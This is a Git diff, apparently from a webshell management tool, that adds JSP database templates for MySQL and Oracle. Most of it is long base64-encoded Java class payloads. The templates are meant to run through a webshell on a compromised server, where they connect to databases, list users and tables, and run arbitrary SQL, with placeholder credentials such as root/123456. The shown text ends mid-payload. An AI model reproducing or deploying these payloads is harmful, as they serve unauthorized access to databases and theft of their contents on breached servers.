XfgABiYAZgAAAAQAAQAjAAAAaQBqAAIAVgAAAc0AAwAQAAABHRIHOgcqLLYAGE0stgA7EjwSPbYAPhI9tgA/OggZCAMytgA7uABAV7sAElm3ABMZCAQytgAVEkG2ABUrtgAVtgAWOgkZCbgAQjoKGQq5AEMBADoLGQstuQBEAgA6DBkMuQBFAQA6DRUGmQBUBDYOFQ4ZDbkARgEAowAvGQ0VDrkARwIAOg+7ABJZtwATGQe2ABUZD7YAFRkEtgAVtgAWOgeEDgGn/8u7ABJZtwATGQe2ABUZBbYAFbYAFjoHGQy5AEgBAJkAVwQ2DhUOGQ25AEYBAKMALxkMFQ65AEkCADoPuwASWbcAExkHtgAVGQ+2ABUZBLYAFbYAFjoHhA4Bp//LuwASWbcAExkHtgAVGQW2ABW2ABY6B6f/pRkHsAAAAAIAVwAAAFoAFgAAAEIABABDAAoARAAcAEUAJwBGAEMARwBKAEgAUwBJAF0ASgBmAEwAawBNAHoATgCFAE8AoABNAKYAUQC8AFQAxgBVANUAVgDgAFcA+wBVAQEAWQEaAFsAWgAAAD4ABv8AbgAPBwBbBwBhBwBhBwBhBwBhBwBhAQcAYQcAawcAYQcAbAcAbQcAbgcAbwEAAPoANxX8AAwB+gA3GABmAAAABAABACMAAABwAHEAAgBWAAAAXgAHAAgAAAA6Eko6BRIHOga7ABJZtwATEku2ABUttgAVEky2ABUZBLYAFRJNtgAVtgAWOgcqKywZBxkFGQYEtgBOsAAAAAEAVwAAABIABAAAAF4ABABfAAgAYAAsAGEAZgAAAAQAAQAjAAEAcgAAAAIAcw=='
,
'var0'
:
'#{encode}'
,
'var1'
:
'#{conn}'
,
'var2'
:
'#{db}'
,
'var3'
:
'#{table}'
},
query
:
{
_
:
'yv66vgAAADIA/AoATABwBwBxCgACAHIKAAIAcwgATQsAdAB1CAB2CQBLAHcIAHgIAHkJAEsAegcAewoADAB8CAB9CwB+AH8LAHQAgAsAfgCABwCBCgASAHAIAIIKABIAgwoAEgCECgBLAIUKAEsAhggAhwgAiAgAiQoADACKCgBLAIsKAAwAhAgAjAoAAgCNCgCOAI8HAJAIAJEKACIAhAgAkgoAJwCTBwCUCgAnAJUKACcAlggAlwgAmAoAJwCZBwCaCgAnAJsKAC0AnAoAJwCdCgAnAJ4KABIAnwgAoAoALQChCgAtAKIIAKMHAKQKADcAcAoANwClCgAnAKYIAKcIAKgKACcAqQoAJwCqCgCrAKwIAK0KAK4ArwsAsACxCwCyALMLALQAtQsAtgC3CwC2ALgLALQAuQsAtAC6CAC7CgBLALwHAGwHAL0BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbAcAvQcAcQcAvgcAvwcAbAcAlAcAewcAkAEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCaAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwAcAwQcAwgcAwwcAxAEABXF1ZXJ5AQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAKcXVlcnkuamF2YQwAUABRAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMUAxgwAxwDIBwC+DADJAGEBAAAMAE0ATgEAB2NoYXJzZXQBAAVVVEYtOAwATwBOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAUADKAQAJdGV4dC9odG1sBwC/DADLAMoMAMwAygEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwAzQDODADPANAMAGMAYQwAYABhAQAEdmFyMQEABHZhcjIBAAMtPnwMAM0A0QwAbABtAQADfDwtDADSANMHANQMANUAygEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFQAVQEAEGphdmEvbGFuZy9TdHJpbmcMANYA1wwAUADYAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANkA0AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADaANsMAFAA3AwA3QDeDADfAOAMAM0A4QEAASwMAOIA3AwAzwBhAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4wDkDADlANABAAINCgEAAQoMAOYA5wwA6ADpBwDqDADrAOwBABMmY2hhcmFjdGVyRW5jb2Rpbmc9BwDtDADuAO8HAMEMAPAA8QcAwgwA8gDzBwDDDAD0APUHAMQMAPYA2wwA9wD4DAD5APoMAPsA+AEAAwl8CQwAZQBmAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAEsATAAA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'
,
'var0'
:
'#{encode}'
,
'var1'
:
'#{conn}'
,
'var2'
:
'#{sql}'
}
})
\ No newline at end of file
source/core/jsp/template/database/mysql.js
0 → 100644
View file @
92bf8721
/*
<T>XDB</T>
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
*/
module
.
exports
=
require
(
'./default'
);
\ No newline at end of file
source/core/jsp/template/database/oracle.js
0 → 100644
View file @
92bf8721
/*
<T>XDB</T>
<X>
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:user/password@127.0.0.1:1521/test
</X>
*/
module
.
exports
=
()
=>
({
show_databases
:
{
_
:
'yv66vgAAADIA+goASwBvBwBwCgACAHEKAAIAcggATAsAcwB0CAB1CQBKAHYIAHcIAHgJAEoAeQcAegoADAB7CAB8CwB9AH4LAHMAfwsAfQB/BwCACgASAG8IAIEKABIAggoAEgCDCgBKAIQKAEoAhQgAhggAhwoADACICgBKAIkKAAwAgwgAigoAAgCLCgCMAI0HAI4IAI8KACEAgwgAkAoAJgCRBwCSCgAmAJMKACYAlAgAlQgAlgoAJgCXBwCYCgAmAJkKACwAmgoAJgCbCgAmAJwKABIAnQgAngoALACfCgAsAKAIAKEHAKIKADYAbwoANgCjCgAmAKQIAKUIAKYKACYApwoAJgCoCgCpAKoKAKsArAsArQCuCwCvALALALEAsgsAswC0CwCzALULALEAtgsAsQC3CAC4CAC5CgBKALoHAGsHALsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAawcAuwcAcAcAvAcAvQcAawcAkgcAegcAjgEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCYAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAvgcAvwcAwAcAwQcAwgEADXNob3dEYXRhYmFzZXMBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABJzaG93RGF0YWJhc2VzLmphdmEMAE8AUAEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADDAMQMAMUAxgcAvAwAxwBgAQAADABMAE0BAAdjaGFyc2V0AQAFVVRGLTgMAE4ATQEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAE8AyAEACXRleHQvaHRtbAcAvQwAyQDIDADKAMgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAMsAzAwAzQDODABiAGAMAF8AYAEABHZhcjEBAAMtPnwMAMsAzwwAawBsAQADfDwtDADQANEHANIMANMAyAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFMAVAEAEGphdmEvbGFuZy9TdHJpbmcMANQA1QwATwDWAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANcAzgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADYANkMAE8A2gwA2wDcDADdAN4MAMsA3wEAASwMAOAA2gwAzQBgAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4QDiDADjAM4BAAINCgEAAQoMAOQA5QwA5gDnBwDoDADpAOoHAOsMAOwA7QcAvwwA7gDvBwDADADwAPEHAMEMAPIA8wcAwgwA9ADZDAD1APYMAPcA+AwA+QD2AQApU0VMRUNUIFVTRVJOQU1FIEZST00gQUxMX1VTRVJTIE9SREVSIEJZIDEBAAEJDABkAGUBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BAE0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBABUoSSlMamF2YS9s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'
,
'var0'
:
'#{encode}'
,
'var1'
:
'#{conn}'
},
show_tables
:
{
_
:
'yv66vgAAADIA/goATQBxBwByCgACAHMKAAIAdAgATgsAdQB2CAB3CQBMAHgIAHkIAHoJAEwAewcAfAoADAB9CAB+CwB/AIALAHUAgQsAfwCBBwCCCgASAHEIAIMKABIAhAoAEgCFCgBMAIYKAEwAhwgAiAgAiQgAigoADACLCgBMAIwKAAwAhQgAjQoAAgCOCgCPAJAHAJEIAJIKACIAhQgAkwoAJwCUBwCVCgAnAJYKACcAlwgAmAgAmQoAJwCaBwCbCgAnAJwKAC0AnQoAJwCeCgAnAJ8KABIAoAgAoQoALQCiCgAtAKMIAKQHAKUKADcAcQoANwCmCgAnAKcIAKgIAKkKACcAqgoAJwCrCgCsAK0KAK4ArwsAsACxCwCyALMLALQAtQsAtgC3CwC2ALgLALQAuQsAtAC6CAC7CAC8CAC9CgBMAL4HAG0HAL8BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbQcAvwcAcgcAwAcAwQcAbQcAlQcAfAcAkQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCbAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwgcAwwcAxAcAxQcAxgEACnNob3dUYWJsZXMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA9zaG93VGFibGVzLmphdmEMAFEAUgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADHAMgMAMkAygcAwAwAywBiAQAADABOAE8BAAdjaGFyc2V0AQAFVVRGLTgMAFAATwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFEAzAEACXRleHQvaHRtbAcAwQwAzQDMDADOAMwBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM8A0AwA0QDSDABkAGIMAGEAYgEABHZhcjEBAAR2YXIyAQADLT58DADPANMMAG0AbgEAA3w8LQwA1ADVBwDWDADXAMwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABVAFYBABBqYXZhL2xhbmcvU3RyaW5nDADYANkMAFEA2gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADbANIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA3ADdDABRAN4MAN8A4AwA4QDiDADPAOMBAAEsDADkAN4MANEAYgEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOUA5gwA5wDSAQACDQoBAAEKDADoAOkMAOoA6wcA7AwA7QDuBwDvDADwAPEHAMMMAPIA8wcAxAwA9AD1BwDFDAD2APcHAMYMAPgA3QwA+QD6DAD7APwMAP0A+gEAR1NFTEVDVCBUQUJMRV9OQU1FIEZST00gKFNFTEVDVCBUQUJMRV9OQU1FIEZST00gQUxMX1RBQkxFUyBXSEVSRSBPV05FUj0nAQANJyBPUkRFUiBCWSAxKQEAAQkMAGYAZwEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J